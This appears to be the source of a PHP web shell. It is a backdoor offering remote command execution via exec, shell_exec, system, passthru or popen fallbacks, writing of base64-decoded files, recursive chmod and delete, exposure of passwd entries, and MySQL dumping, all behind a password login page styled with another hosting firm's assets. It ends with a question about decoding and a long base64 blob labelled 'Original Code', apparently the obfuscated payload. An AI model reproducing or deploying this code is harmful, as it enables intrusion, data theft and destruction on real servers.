    echo '<div style="background:#000000;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    echo $msg;
    echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
    global $admin, $timestamp, $_SERVER;
    $key = ($prefix ? $admin['cookiepre'] : '').$key;
    $life = $life ? $life : $admin['cookielife'];
    $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
    $multipage = '';
    if($num > $perpage) {
        $page = 10;
        $offset = 5;
        $pages = @ceil($num / $perpage);
        if($page > $pages) {
            $from = 1;
            $to = $pages;
        } else {
            $from = $curpage - $offset;
            $to = $curpage + $page - $offset - 1;
            if($from < 1) {
                $to = $curpage + 1 - $from;
                $from = 1;
                if(($to - $from) < $page && ($to - $from) < $pages) {
                    $to = $page;
                }
            } elseif($to > $pages) {
                $from = $curpage - $pages + $to;
                $to = $pages;
                if(($to - $from) < $page && ($to - $from) < $pages) {
                    $from = $pages - $page + 1;
                }
            }
        }
        $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
        for($i = $from; $i <= $to; $i++) {
            $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
        }
        $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
        $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
    }
    return $multipage;
}
// Login page
function loginpage() {
?>
<!DOCTYPE HTML >
<html>
 <head>
     <title>> Secure Area !</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <link rel="icon" href="https://www.firstheberg.com/membres/faviconesp.ico" type="image/x-icon" />

<style type="text/css" >
    
			
/*@import url(https://www.firstheberg.com/membres/css/jquery_ui/jquery-ui-1.8.11.custom.css);*/
@import url(https://www.firstheberg.com/membres/css/jquery_ui/cupertino/jquery-ui-1.10.4.custom.min.css);
@import url(https://www.firstheberg.com/membres/css/jquery.msg2.css);

@import url(https://www.firstheberg.com/membres/css/general.css);
@import url(https://www.firstheberg.com/membres/css/input.css);


                

*{margin:0;padding:0;}
html{height:100%;}
body{background:url("https://www.firstheberg.com/membres/images/background_identification.png") no-repeat scroll center center  #000 ;background-position: center ;font-family:arial;font-size:12px;color:#777;width:100%;}
img{border:0;}		
#identification{width:556px; height:324px;background:url("https://www.firstheberg.com/membres/images/box_identification.png") no-repeat top left ;position:absolute;top:50%;left:50%;margin-left:-278px; margin-top:-162px;text-align:center;}
.saisie{width:243px; height:36px;background:url("https://www.firstheberg.com/membres/images/box_saisie.png") no-repeat; margin:0 auto;}
#lien_box{margin:45px 0 0px 0;} 
#lien_box a{color:#0fa5df;text-decoration:none;}    
#lien_box a:hover{color:#0fa5df;text-decoration:underline;}  
h1{color:#ddd;font-size:19px;margin:50px 0 15px 0;}
.saisie{margin-bottom:10px;}
  
.saisie input{background:none;border:none;color:#aaa;font-size:14px;width:220px;border:0px solid orange;margin:3px 0 0 0;height:29px;text-align:center;}
#bt_valid{background:url("https://www.firstheberg.com/membres/images/box_envoi.png") no-repeat;width:243px;height:36px;line-height:36px;font-size:14px;margin:30px auto 0 auto;border:none;color:#aaa;cursor:pointer;}
#retour{margin:40px 0 0 0;overflow:hidden;}
#logo{position:absolute; top:-95px; left:-10px;}
input{outline:none;}
</style>
<script type="text/javascript" src="https://www.firstheberg.com/membres/js/jquery-1.9.0.min.js"></script>
<script type="text/javascript" src="https://www.firstheberg.com/membres/js/jquery-ui-1.10.4.custom.min.js"></script>
<script type="text/javascript" src="https://www.firstheberg.com/membres/js/jquery.center.js" ></script>
<script type="text/javascript" src="https://www.firstheberg.com/membres/js/jquery.msg.js" ></script>
<script type="text/javascript" src="https://www.firstheberg.com/membres/js/main.js" ></script>
<script type="text/javascript" >



$(document).ready(function()
{
 
              
        
})

function block_sub_lost()
{
    dataa=$('#form_lost').serialize();
    //console.log(dataa);
    $.ajax(
    {
          url:"ajax/identification_ajax.php",
          type:"post",
          dataType:"json",
          data:"action=lost&"+dataa,
          success:function(retour)
          { 
              popup_msg(msg_ok(retour.msg),false);  
          }
    });       
    return false;
}
function lost()
{
   
  $('#inner').load("lost.php").show();
}

function logident()
{
   
  $('#inner').hide().load("log.php").fadeIn("slow");
  
}

</script>

 </head>
<body>


<div id="identification">
      <img id='logo' src="http://zupimages.net/up/14/26/wgnw.png" />
    <div id="inner">
<br> <h1><b>Login Page :</b></h1>
<form method="POST" action="">
   <br><br> <span style="font:10pt tahoma;"></span>
	 <div class='saisie'><input name="password" type="password" size="20"></div>
    <input type="hidden" name="doing" value="login">
<input type="submit" name="submit_form" id='bt_valid' value='> Submit <'>

    </form>
</center><BR>

   </div> 
  </div>
</body>
</html>
<?php
echo "".$err_mess."";
?>

    <B><font color=red>
<a href=http://frenchdebrid.eu target=_blank></a><BR></b>





</div>


    </fieldset>



</head>
</html>


<?php
    exit;

}//end loginpage()

function execute($cfe) {
    $res = '';
    if ($cfe) {
        if(function_exists('exec')) {
            @exec($cfe,$res);
            $res = join("\n",$res);
        } elseif(function_exists('shell_exec')) {
            $res = @shell_exec($cfe);
        } elseif(function_exists('system')) {
            @ob_start();
            @system($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif(function_exists('passthru')) {
            @ob_start();
            @passthru($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif(@is_resource($f = @popen($cfe,"r"))) {
            $res = '';
            while(!@feof($f)) {
                $res .= @fread($f,1024);
            }
            @pclose($f);
        }
    }
    return $res;
}
function which($pr) {
    $path = execute("which $pr");
    return ($path ? $path : $pr);
}

function cf($fname,$text){
    if($fp=@fopen($fname,'w')) {
        @fputs($fp,base64_decode($text));
        @fclose($fp);
    }
}

// Debug
function debuginfo() {
    global $starttime;
    $mtime = explode(' ', microtime());
    $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
    echo 'Processed in '.$totaltime.' second(s)';
}

// Function connect database
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
    if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
        p('<h2>Can not connect to MySQL server</h2>');
        exit;
    }
    if($link && $dbname) {
        if (!@mysql_select_db($dbname, $link)) {
            p('<h2>Database selected has error</h2>');
            exit;
        }
    }
    if($link && mysql_get_server_info() > '4.1') {
        if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
            q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
        }
    }
    return $link;
}

// Array strip
function s_array(&$array) {
    if (is_array($array)) {
        foreach ($array as $k => $v) {
            $array[$k] = s_array($v);
        }
    } else if (is_string($array)) {
        $array = stripslashes($array);
    }
    return $array;
}

// HTML Strip
function html_clean($content) {
    $content = htmlspecialchars($content);
    $content = str_replace("\n", "<br />", $content);
    $content = str_replace("  ", "&nbsp;&nbsp;", $content);
    $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
    return $content;
}

// Chmod
function getChmod($filepath){
    return substr(base_convert(@fileperms($filepath),10,8),-4);
}

function getPerms($filepath) {
    $mode = @fileperms($filepath);
    if (($mode & 0xC000) === 0xC000) {$type = 's';}
    elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
    elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
    elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
    else {$type = '?';}

    $owner['read'] = ($mode & 00400) ? 'r' : '-';
    $owner['write'] = ($mode & 00200) ? 'w' : '-';
    $owner['execute'] = ($mode & 00100) ? 'x' : '-';
    $group['read'] = ($mode & 00040) ? 'r' : '-';
    $group['write'] = ($mode & 00020) ? 'w' : '-';
    $group['execute'] = ($mode & 00010) ? 'x' : '-';
    $world['read'] = ($mode & 00004) ? 'r' : '-';
    $world['write'] = ($mode & 00002) ? 'w' : '-';
    $world['execute'] = ($mode & 00001) ? 'x' : '-';

    if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
    if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}

    return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}

function getUser($filepath)    {
    if (function_exists('posix_getpwuid')) {
        $array = @posix_getpwuid(@fileowner($filepath));
        if ($array && is_array($array)) {
            return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
        }
    }
    return '';
}

// Delete dir
function deltree($deldir) {
    $mydir=@dir($deldir);
    while($file=$mydir->read())    {
        if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
            @chmod($deldir.'/'.$file,0777);
            deltree($deldir.'/'.$file);
        }
        if (is_file($deldir.'/'.$file)) {
            @chmod($deldir.'/'.$file,0777);
            @unlink($deldir.'/'.$file);
        }
    }
    $mydir->close();
    @chmod($deldir,0777);
    return @rmdir($deldir) ? 1 : 0;
}

// Background
function bg() {
    global $bgc;
    return ($bgc++%2==0) ? 'alt1' : 'alt2';
}

// Get path
function getPath($scriptpath, $nowpath) {
    if ($nowpath == '.') {
        $nowpath = $scriptpath;
    }
    $nowpath = str_replace('\\', '/', $nowpath);
    $nowpath = str_replace('//', '/', $nowpath);
    if (substr($nowpath, -1) != '/') {
        $nowpath = $nowpath.'/';
    }
    return $nowpath;
}

// Get up path
function getUpPath($nowpath) {
    $pathdb = explode('/', $nowpath);
    $num = count($pathdb);
    if ($num > 2) {
        unset($pathdb[$num-1],$pathdb[$num-2]);
    }
    $uppath = implode('/', $pathdb).'/';
    $uppath = str_replace('//', '/', $uppath);
    return $uppath;
}

// Config
function getcfg($varname) {
    $result = get_cfg_var($varname);
    if ($result == 0) {
        return 'No';
    } elseif ($result == 1) {
        return 'Yes';
    } else {
        return $result;
    }
}

// Function name
function getfun($funName) {
    return (false !== function_exists($funName)) ? 'Yes' : 'No';
}

function GetList($dir){
    global $dirdata,$j,$nowpath;
    !$j && $j=1;
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $f=str_replace('//','/',$dir.'/'.$file);
            if($file!='.' && $file!='..' && is_dir($f)){
                if (is_writable($f)) {
                    $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
                    $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
                    $dirdata[$j]['dirchmod']=getChmod($f);
                    $dirdata[$j]['dirperm']=getPerms($f);
                    $dirdata[$j]['dirlink']=ue($dir);
                    $dirdata[$j]['server_link']=$f;
                    $dirdata[$j]['client_link']=ue($f);
                    $j++;
                }
                GetList($f);
            }
        }
        closedir($dh);
        clearstatcache();
        return $dirdata;
    } else {
        return array();
    }
}

function qy($sql) {
    //echo $sql.'<br>';
    $res = $error = '';
    if(!$res = @mysql_query($sql)) {
        return 0;
    } else if(is_resource($res)) {
        return 1;
    } else {
        return 2;
    }
    return 0;
}

function q($sql) {
    return @mysql_query($sql);
}

function fr($qy){
    mysql_free_result($qy);
}

function sizecount($size) {
    if($size > 1073741824) {
        $size = round($size / 1073741824 * 100) / 100 . ' G';
    } elseif($size > 1048576) {
        $size = round($size / 1048576 * 100) / 100 . ' M';
    } elseif($size > 1024) {
        $size = round($size / 1024 * 100) / 100 . ' K';
    } else {
        $size = $size . ' B';
    }
    return $size;
}

// Zip
class PHPZip{
    var $out='';
    function PHPZip($dir)    {
        if (@function_exists('gzcompress'))    {
            $curdir = getcwd();
            if (is_array($dir)) $filelist = $dir;
            else{
                $filelist=$this -> GetFileList($dir);//File list
                foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
            }
            if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
            else chdir($curdir);
            if (count($filelist)>0){
                foreach($filelist as $filename){
                    if (is_file($filename)){
                        $fd = fopen ($filename, 'r');
                        $content = @fread ($fd, filesize($filename));
                        fclose ($fd);
                        if (is_array($dir)) $filename = basename($filename);
                        $this -> addFile($content, $filename);
                    }
                }
                $this->out = $this -> file();
                chdir($curdir);
            }
            return 1;
        }
        else return 0;
    }

    // Show file list
    function GetFileList($dir){
        static $a;
        if (is_dir($dir)) {
            if ($dh = opendir($dir)) {
                while ($file = readdir($dh)) {
                    if($file!='.' && $file!='..'){
                        $f=$dir .'/'. $file;
                        if(is_dir($f)) $this->GetFileList($f);
                        $a[]=$f;
                    }
                }
                closedir($dh);
            }
        }
        return $a;
    }

    var $datasec      = array();
    var $ctrl_dir     = array();
    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset   = 0;

    function unix2DosTime($unixtime = 0) {
        $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
        if ($timearray['year'] < 1980) {
            $timearray['year']    = 1980;
            $timearray['mon']     = 1;
            $timearray['mday']    = 1;
            $timearray['hours']   = 0;
            $timearray['minutes'] = 0;
            $timearray['seconds'] = 0;
        } // end if
        return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
                ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    }

    function addFile($data, $name, $time = 0) {
        $name = str_replace('\\', '/', $name);

        $dtime = dechex($this->unix2DosTime($time));
        $hexdtime    = '\x' . $dtime[6] . $dtime[7]
                    . '\x' . $dtime[4] . $dtime[5]
                    . '\x' . $dtime[2] . $dtime[3]
                    . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');
        $fr    = "\x50\x4b\x03\x04";
        $fr    .= "\x14\x00";
        $fr    .= "\x00\x00";
        $fr    .= "\x08\x00";
        $fr    .= $hexdtime;

        $unc_len = strlen($data);
        $crc = crc32($data);
        $zdata = gzcompress($data);
        $c_len = strlen($zdata);
        $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
        $fr .= pack('V', $crc);
        $fr .= pack('V', $c_len);
        $fr .= pack('V', $unc_len);
        $fr .= pack('v', strlen($name));
        $fr .= pack('v', 0);
        $fr .= $name;
        $fr .= $zdata;
        $fr .= pack('V', $crc);
        $fr .= pack('V', $c_len);
        $fr .= pack('V', $unc_len);

        $this -> datasec[] = $fr;
        $new_offset = strlen(implode('', $this->datasec));

        $cdrec = "\x50\x4b\x01\x02";
        $cdrec .= "\x00\x00";
        $cdrec .= "\x14\x00";
        $cdrec .= "\x00\x00";
        $cdrec .= "\x08\x00";
        $cdrec .= $hexdtime;
        $cdrec .= pack('V', $crc);
        $cdrec .= pack('V', $c_len);
        $cdrec .= pack('V', $unc_len);
        $cdrec .= pack('v', strlen($name) );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('V', 32 );
        $cdrec .= pack('V', $this -> old_offset );
        $this -> old_offset = $new_offset;
        $cdrec .= $name;

        $this -> ctrl_dir[] = $cdrec;
    }

    function file() {
        $data    = implode('', $this -> datasec);
        $ctrldir = implode('', $this -> ctrl_dir);
        return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .    pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
    }
}

// Dump mysql
function sqldumptable($table, $fp=0) {
    $tabledump = "DROP TABLE IF EXISTS $table;\n";
    $tabledump .= "CREATE TABLE $table (\n";

    $firstfield=1;

    $fields = q("SHOW FIELDS FROM $table");
    while ($field = mysql_fetch_array($fields)) {
        if (!$firstfield) {
            $tabledump .= ",\n";
        } else {
            $firstfield=0;
        }
        $tabledump .= "   $field[Field] $field[Type]";
        if (!empty($field["Default"])) {
            $tabledump .= " DEFAULT '$field[Default]'";
        }
        if ($field['Null'] != "YES") {
            $tabledump .= " NOT NULL";
        }
        if ($field['Extra'] != "") {
            $tabledump .= " $field[Extra]";
        }
    }
    fr($fields);

    $keys = q("SHOW KEYS FROM $table");
    while ($key = mysql_fetch_array($keys)) {
        $kname=$key['Key_name'];
        if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
            $kname="UNIQUE|$kname";
        }
        if(!is_array($index[$kname])) {
            $index[$kname] = array();
        }
        $index[$kname][] = $key['Column_name'];
    }
    fr($keys);

    while(list($kname, $columns) = @each($index)) {
        $tabledump .= ",\n";
        $colnames=implode($columns,",");

        if ($kname == "PRIMARY") {
            $tabledump .= "   PRIMARY KEY ($colnames)";
        } else {
            if (substr($kname,0,6) == "UNIQUE") {
                $kname=substr($kname,7);
            }
            $tabledump .= "   KEY $kname ($colnames)";
        }
    }

    $tabledump .= "\n);\n\n";
    if ($fp) {
        fwrite($fp,$tabledump);
    } else {
        echo $tabledump;
    }

    $rows = q("SELECT * FROM $table");
    $numfields = mysql_num_fields($rows);
    while ($row = mysql_fetch_array($rows)) {
        $tabledump = "INSERT INTO $table VALUES(";

        $fieldcounter=-1;
        $firstfield=1;
        while (++$fieldcounter<$numfields) {
            if (!$firstfield) {
                $tabledump.=", ";
            } else {
                $firstfield=0;
            }

            if (!isset($row[$fieldcounter])) {
                $tabledump .= "NULL";
            } else {
                $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
            }
        }

        $tabledump .= ");\n";

        if ($fp) {
            fwrite($fp,$tabledump);
        } else {
            echo $tabledump;
        }
    }
    fr($rows);
    if ($fp) {
        fwrite($fp,"\n");
    } else {
        echo "\n";
    }
}

function ue($str){
    return urlencode($str);
}

function p($str){
    echo $str."\n";
}

function tbhead() {
    p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
    p('</table>');
}

function makehide($name,$value=''){
    p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}

function makeinput($arg = array()){
    $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
    $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
    !$arg['type'] && $arg['type'] = 'text';
    $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
    if ($arg['newline']) {
        p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
    } else {
        p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
    }
}

function makeselect($arg = array()){
    if ($arg['onchange']) {
        $onchange = 'onchange="'.$arg['onchange'].'"';
    }
    $arg['title'] = $arg['title'] ? $arg['title'] : '';
    if ($arg['newline']) p('<p>');
    p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
        if (is_array($arg['option'])) {
            foreach ($arg['option'] as $key=>$value) {
                if ($arg['selected']==$key) {
                    p("<option value=\"$key\" selected>$value</option>");
                } else {
                    p("<option value=\"$key\">$value</option>");
                }
            }
        }
    p("</select>");
    if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
    !$arg['method'] && $arg['method'] = 'post';
    !$arg['action'] && $arg['action'] = $self;
    $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
    !$arg['name'] && $arg['name'] = 'form1';
    p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
    if ($arg['title']) {
        p('<h2>'.$arg['title'].' &raquo;</h2>');
    }
}

function maketext($arg = array()){
    !$arg['cols'] && $arg['cols'] = 100;
    !$arg['rows'] && $arg['rows'] = 25;
    $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}

function formfooter($name = ''){
    !$name && $name = 'submit';
    p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
    p('</form>');
}

function formfoot(){
    p('</form>');
}

// Exit
function pr($a) {
    echo '<pre>';
    print_r($a);
    echo '</pre>';
}

Did this file decode correctly?

Original Code

$text = "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